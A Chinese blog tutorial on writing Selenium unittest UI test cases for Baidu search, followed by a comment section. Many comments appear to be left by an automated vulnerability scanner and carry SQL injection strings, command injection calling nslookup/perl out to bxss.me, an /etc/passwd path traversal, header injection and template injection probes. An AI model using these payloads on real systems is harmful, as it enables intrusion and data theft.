TypechoJoeTheme

Misty rain的博客

统计

python ui自动化框架 5:编写测试用例testcase

2021-12-21
/
103 评论
/
712 阅读
/
正在检测是否收录...
12/21

本节是框架的主要编程点,UI测试用例的脚本编写,继承unittest.TestCase来写用例

在项目uitest下新建testcase文件夹;
在testcase文件夹中新建test_search.py,注意:文件名必须test_开头,在以后用例集合中会用到。

class TestSearch(unittest.TestCase):
    # 用例执行前
    def setUp(self):
        print('用例执行前')
    # 用例执行后
    def tearDown(self):
        print('用例执行后')
    # 输入空
    def test_searchnull(self):
        print('用例a')

上面是继承了unittest后实现的三个方法,setUp和tearDown分别为用例执行前和后。
接下来我们在用例执行前打开浏览器并调用要测试的页面:

# 打开浏览器
self.driver = be.open_browser(self, '百度搜索')
# 调用页面
self.search = SearchPage(self.driver)
# 隐式等待30,设置一次即可
self.search.wait(30)

不要忘了导包:

import unittest
import commont.browser_engine as be
from commont.getlog import logger
from page.search_page import SearchPage

接下来我们在用例执行后:关闭浏览器

# 关闭浏览器
self.driver.quit()

编写测试用例test_searchnull:

# 输入空
def test_searchnull(self):
    print('用例a')
    self.search.search_input_search('')
    self.search.search_btn_search()
    self.assertEqual('https://www.baidu.com/', self.search.get_page_url(), '验证失败')

使用assert来判断是否达到预期;关于assert的使用可以参考我其他文章,这里不做重点讲解。
这里我们来编写俩个用例:
编写测试用例test_searchtest:

# 输入test
def test_searchtest(self):
    print('用例b')
    self.search.search_input_search('test')
    self.search.search_btn_search()
    searchtext = self.search.search_get_searchtext()
    # 判断页面内容是否包含test
    self.assertIn('test', searchtext, '验证失败')

这里我们发现调用了search_get_searchtext方法报错,是因为search_page里面没有该方法,我们切换到该文件进行添加:

"""
@Author:Misty rain(ZhangHao)
@E-mail:676817831@qq.com
@FileName:search_page.py
@Software:PyCharm
@Desc:百度搜索页面
"""
from commont.base_page import BasePage


class SearchPage(BasePage):
    """
    按钮:使用btn_开头
    输入框:使用input_开头
    选择框:使用select_开头
    统一小写
    """
    input_search = 'xpath=>//*[@id="kw"]=>输入百度搜索框'
    btn_search = 'xpath=>//*[@id="form"]/span[2]=>点击搜索按钮'
    # 获取搜索完成后页面元素的内容
    get_searchtext = 'xpath=>//*[@id="content_left"]=>搜索结果页面内容'

    def search_input_search(self, text):
        self.type(self.input_search, text)

    def search_btn_search(self):
        self.click(self.btn_search)

    def search_get_searchtext(self):
        search = self.get_elementtext(self.get_searchtext)
        return search.text

使用try来装饰assert方法:

try:
    self.assertEqual('https://www.baidu.com/', self.search.get_page_url(), '验证失败')
    logger.critical('用例通过')
except:
    logger.error('用例失败')
    # 定义为用例失败,主动抛出异常
    raise RuntimeError('用例失败')

同样:用例b也是一样。

接下来右键执行该用例。
发现虽然用例执行成功,但是控制台有一条错误信息:

DeprecationWarning: find_element_by_* commands are deprecated. Please use find_element() instead
  element = self.driver.find_element_by_xpath(selector_value)

find_element_by_xpath已弃用,请使用find_element
我们打开base_page:
将查找元素的xpath方法换一个:

element = self.driver.find_element(By.XPATH, selector_value)

再次运行问题解决。
打开log/**.log查看日志文件发现中文乱码。
我们打开commont/getlog.py:

再次运行发现正常。

合并用例a和b
我们发现用例a和b有共同存在的地方,我们将之合并为方法search:

# 发现用例用有相同的方法,合并
def search(self, text):
    self.search.search_input_search(text)
    self.search.search_btn_search()

最终的测试用例test_search.py如下:

"""
@Author:Misty rain(ZhangHao)
@E-mail:676817831@qq.com
@FileName:test_search.py
@Software:PyCharm
@Desc:测试用例
"""
import unittest
import commont.browser_engine as be
from commont.getlog import logger
from page.search_page import SearchPage


class TestSearch(unittest.TestCase):
    # 用例执行前
    def setUp(self):
        print('用例执行前')
        # 打开浏览器
        self.driver = be.open_browser(self, '百度搜索')
        # 调用页面
        self.search = SearchPage(self.driver)
        # 隐式等待30,设置一次即可
        self.search.wait(30)

    # 用例执行后
    def tearDown(self):
        print('用例执行后')
        # 关闭浏览器
        self.driver.quit()

    # 输入空
    def test_searchnull(self):
        print('用例a')
        self.tsearch('')
        try:
            self.assertEqual('https://www.baidu.com/', self.search.get_page_url(), '验证失败')
            logger.critical('用例通过')
        except:
            logger.error('用例失败')
            # 定义为用例失败,主动抛出异常
            raise RuntimeError('用例失败')

    # 输入test
    def test_searchtest(self):
        print('用例b')
        self.tsearch('test')
        searchtext = self.search.search_get_searchtext()
        # 判断页面内容是否包含test
        try:
            self.assertIn('test', searchtext, '验证失败')
            logger.critical('用例通过')
        except:
            logger.error('用例失败')
            # 定义为用例失败,主动抛出异常
            raise RuntimeError('用例失败')

    # 发现用例用有相同的方法,合并
    def tsearch(self, text):
        self.search.search_input_search(text)
        self.search.search_btn_search()
朗读
赞(4)
版权属于:

Misty rain的博客

本文链接:

http://101.42.223.25/index.php/archives/65/(转载时请注明本文出处及文章链接)

评论 (103)
  1. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  2. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  3. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  4. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  5. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  6. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  7. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  8. -1 OR 2+686-686-1=0+0+0+1 -- 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  9. -1 OR 2+605-605-1=0+0+0+1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  10. -1' OR 2+588-588-1=0+0+0+1 -- 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  11. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  12. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  13. -1' OR 2+507-507-1=0+0+0+1 or 'R1aZFG6t'=' 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  14. 1 作者
    Windows 10 · Google Chrome

    &(nslookup hitswfmpzqqek7d314.bxss.me||perl -e "gethostbyname('hitswfmpzqqek7d314.bxss.me')")&'\"`0&(nslookup hitswfmpzqqek7d314.bxss.me||perl -e "gethostbyname('hitswfmpzqqek7d314.bxss.me')")&`'

    2022-04-28 回复
  15. 1 作者
    Windows 10 · Google Chrome

    |(nslookup hitwfljzrxlbcec0e5.bxss.me||perl -e "gethostbyname('hitwfljzrxlbcec0e5.bxss.me')")

    2022-04-28 回复
  16. 1 作者
    Windows 10 · Google Chrome

    `(nslookup hitdshyzecxqdbd590.bxss.me||perl -e "gethostbyname('hitdshyzecxqdbd590.bxss.me')")`

    2022-04-28 回复
  17. 1 作者
    Windows 10 · Google Chrome

    ;(nslookup hithssnvbxdpd92c86.bxss.me||perl -e "gethostbyname('hithssnvbxdpd92c86.bxss.me')")|(nslookup hithssnvbxdpd92c86.bxss.me||perl -e "gethostbyname('hithssnvbxdpd92c86.bxss.me')")&(nslookup hithssnvbxdpd92c86.bxss.me||perl -e "gethostbyname('hithssnvbxdpd92c86.bxss.me')")

    2022-04-28 回复
    1. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    2. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    3. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    4. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    5. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    6. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    7. 1a9p4oBS8O 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    8. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    9. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    10. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    11. -1 OR 2+381-381-1=0+0+0+1 -- 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    12. -1 OR 2+24-24-1=0+0+0+1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    13. 1 作者
      Windows 10 · Google Chrome
      @1

      1D2lAHF8lIO

      2022-04-28 回复
    14. -1' OR 2+905-905-1=0+0+0+1 -- 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    15. bEmGoudb 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    16. ../../../../../../../../../../../../../../etc/passwd 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    17. 1%0abcc:009247.351-335918.351.790d1.19110.2@bxss.me 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    18. ${9999287+9999228} 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    19. http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    20. 1&n922580=v991998 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    21. -1' OR 2+805-805-1=0+0+0+1 or 'Fp27UcGw'=' 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    22. SomeCustomInjectedHeader: injected_by_wvs 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    23. 19541748 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    24. 19674261 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    25. 1 作者
      Windows 10 · Google Chrome
      @1

      1'"()&%

      RFJP(9478)

      2022-04-28 回复
    26. 1 作者
      Windows 10 · Google Chrome
      @1

      '"()&%

      RFJP(9876)

      2022-04-28 回复
    27. 19018987 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    28. 1 作者
      Windows 10 · Google Chrome
      @1

      {!{data:image/webp;base64,UklGRqQEAABXRUJQVlA4WAoAAAAwAAAA0AMAKwEASUNDUBgCAAAAAAIYAAAAAAQwAABtbnRyUkdCIFhZWiAAAAAAAAAAAAAA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tk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ96QAD+/60eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=}!}

      2022-04-28 回复
    29. 1 作者
      Windows 10 · Google Chrome
      @1

      555

      2022-04-28 回复
    30. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    31. 19238788 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    32. 1 作者
      Windows 10 · Google Chrome
      @1

      1'"()&%

      g2Xv(9829)

      2022-04-29 回复
  18. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  19. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  20. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  21. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  22. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  23. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  24. the 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
    1. 1 作者
      Windows 10 · Google Chrome
      @the

      1

      2022-04-28 回复
    2. 1 作者
      Windows 10 · Google Chrome
      @the

      1

      2022-04-28 回复
    3. 1 作者
      Windows 10 · Google Chrome
      @the

      1

      2022-04-28 回复
    4. 1 作者
      Windows 10 · Google Chrome
      @the

      1

      2022-04-28 回复
    5. 1 作者
      Windows 10 · Google Chrome
      @the

      1

      2022-04-28 回复
    6. 1 作者
      Windows 10 · Google Chrome
      @the

      1

      2022-04-28 回复
    7. HttP://bxss.me/t/xss.html?%00 作者
      Windows 10 · Google Chrome
      @the

      1

      2022-04-28 回复
    8. -1; waitfor delay '0:0:15' -- 作者
      Windows 10 · Google Chrome
      @the

      555

      2022-04-28 回复
    9. 1 作者
      Windows 10 · Google Chrome
      @the

      1

      2022-04-28 回复
    10. 1 作者
      Windows 10 · Google Chrome
      @the

      555

      2022-04-28 回复
    11. 1 作者
      Windows 10 · Google Chrome
      @the

      1

      2022-04-28 回复
  25. 1 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  26. 1 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  27. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  28. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  29. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  30. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  31. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  32. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  33. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  34. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  35. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  36. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  37. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  38. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  39. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  40. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  41. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  42. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  43. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  44. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  45. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  46. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  47. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  48. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  49. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  50. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  51. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  52. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  53. the 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  54. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  55. 1 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  56. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-29 回复
  57. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-29 回复
  58. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-29 回复
  59. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-29 回复
  60. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-29 回复

备案号: 浙ICP备2021040483号